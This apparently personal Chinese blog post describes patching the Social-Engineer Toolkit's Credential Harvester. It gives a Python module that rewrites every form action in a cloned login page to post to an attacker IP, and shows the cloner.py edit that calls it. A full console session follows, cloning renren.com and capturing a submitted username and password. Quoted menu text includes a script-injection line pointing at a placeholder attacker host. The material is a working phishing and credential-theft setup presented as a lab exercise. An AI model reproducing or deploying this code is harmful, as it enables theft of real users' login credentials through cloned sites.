Credential Harvester Attack Method获得用户信息

前段时间在学习SET,发现Credential Harvester Attack Method一直无法获得登录的用户名和密码,一开始用wireshark抓包来调试,的确没有相应的数据,后来怀疑是代码的问题,于是查看python代码。本人没学过python,因此还不得不去学习一下python。今天看代码,看到cloner.py的代码有问题。于是修改之,增加了一个新的模块:

#!/usr/bin/python
# Filename: ModifyFormAction.py

import sys
import os
from pyquery import PyQuery as pq
from lxml import etree

def ModifyFormAction(htmlPath, url):
    if not os.path.isfile(htmlPath):
        print "%s is not a file" % htmlPath
        return
    d = pq(filename=htmlPath, parser='html')
    forms = d('form')
    for each in forms:
        each.action = url

    f = file(htmlPath, 'w')
    f.write(d.outerHtml().encode('utf-8'))
    f.close()
    print "Modified successfully"


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print "Usage: htmlPath url"
    else:
        ModifyFormAction(sys.argv[1], sys.argv[2])    

此模块用来修改form表单的action。

在cloner.py里要调用该模块的函数:

from ModifyFormAction import *

在220左右,有代码:

        if site_cloned == True:

            ## make a backup of the site if needed
            shutil.copyfile("src/program_junk/web_clone/index.html", "src/program_junk/web_clone/index.html.bak")

调用上面我写的函数:

        if site_cloned == True:

            ## make a backup of the site if needed
            shutil.copyfile("src/program_junk/web_clone/index.html", "src/program_junk/web_clone/index.html.bak")
            ModifyFormAction("src/program_junk/web_clone/index.html", "http://%s/" % ipaddr)

然后上传把这两个文件,上传到/pentest/exploits/set/src/webattack/web_clone,替换原来的文件。

然后操作如下:

root@bt:/pentest/exploits/set# ./set


                 .M"""bgd `7MM"""YMM MMP""MM""YMM 
                ,MI    "Y   MM    `7 P'   MM   `7 
                `MMb.       MM   d        MM      
                  `YMMNq.   MMmmMM        MM      
                .     `MM   MM   Y  ,     MM      
                Mb     dM   MM     ,M     MM      
                P"Ybmmd"  .JMMmmmmMMM   .JMML.

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1



                  !\_________________________/!\
                  !!                         !! \
                  !! Social-Engineer Toolkit !!  \
                  !!                         !!  !
                  !!          u r so         !!  !
                  !!                         !!  !
                  !!          #pwnd          !!  !
                  !!                         !!  !
                  !!                         !!  /
                  !!_________________________!! /
                  !/_________________________\!/
                     __\_________________/__/!_
                    !_______________________!/
                  ________________________
                 /oooo  oooo  oooo  oooo /!
                /ooooooooooooooooooooooo/ /
               /ooooooooooooooooooooooo/ /
              /C=_____________________/_/

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

 The Web Attack module is  a unique way of utilizing multiple web-based attacks
 in order to compromise the intended victim.

 The Java Applet Attack method will spoof a Java Certificate and deliver a 
 metasploit based payload. Uses a customized java applet created by Thomas
 Werth to deliver the payload.

 The Metasploit Browser Exploit method will utilize select Metasploit
 browser exploits through an iframe and deliver a Metasploit payload.

 The Credential Harvester method will utilize web cloning of a web-
 site that has a username and password field and harvest all the 
 information posted to the website.

 The TabNabbing method will wait for a user to move to a different
 tab, then refresh the page to something different.

 The Man Left in the Middle Attack method was introduced by Kos and 
 utilizes HTTP REFERER's in order to intercept fields and harvest 
 data from them. You need to have an already vulnerable site and in-
 corporate <script src="http://YOURIP/">. This could either be from a
 compromised site or through XSS.

 The Web-Jacking Attack method was introduced by white_sheep, Emgent 
 and the Back|Track team. This method utilizes iframe replacements to 
 make the highlighted URL link to appear legitimate however when clicked 
 a window pops up then is replaced with the malicious link. You can edit
 the link replacement settings in the set_config if its too slow/fast.

 The Multi-Attack method will add a combination of attacks through the web attack
 menu. For example you can utilize the Java Applet, Metasploit Browser,
 Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
 all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Man Left in the Middle Attack Method
   6) Web Jacking Attack Method
   7) Multi-Attack Web Method
   8) Victim Web Profiler
   9) Create or import a CodeSigning Certificate

  99) Return to Main Menu

set:webattack>3

 The first method will allow SET to import a list of pre-defined web 
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.11
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:www.renren.com

[*] Cloning the website: http://www.renren.com
[*] This could take a little bit...
Modified successfully

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.

      Press <return> to continue

[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

在XP浏览器里打开http://192.168.1.11/


模块没写好,出来的是中文乱码,留给以后再解决吧。

输入用户名、密码,点击“登录”,SET输出如下:

192.168.1.142 - - [28/Apr/2013 03:48:23] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: [email protected]
POSSIBLE PASSWORD FIELD FOUND: password=pass_yang
PARAM: icode=
PARAM: origURL=http://www.renren.com/home
PARAM: domain=renren.com
PARAM: key_id=1
POSSIBLE USERNAME FIELD FOUND: captcha_type=web_login
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

不过,那上面的用户名、密码都是乱输的。这下成功了吧。

出错之后,如果在网上能找到答案,那还比较好,但是现在找不到答案,求人不如求己。

幸亏本人调试能力够强。


你可能感兴趣的:(Credential Harvester Attack Method获得用户信息)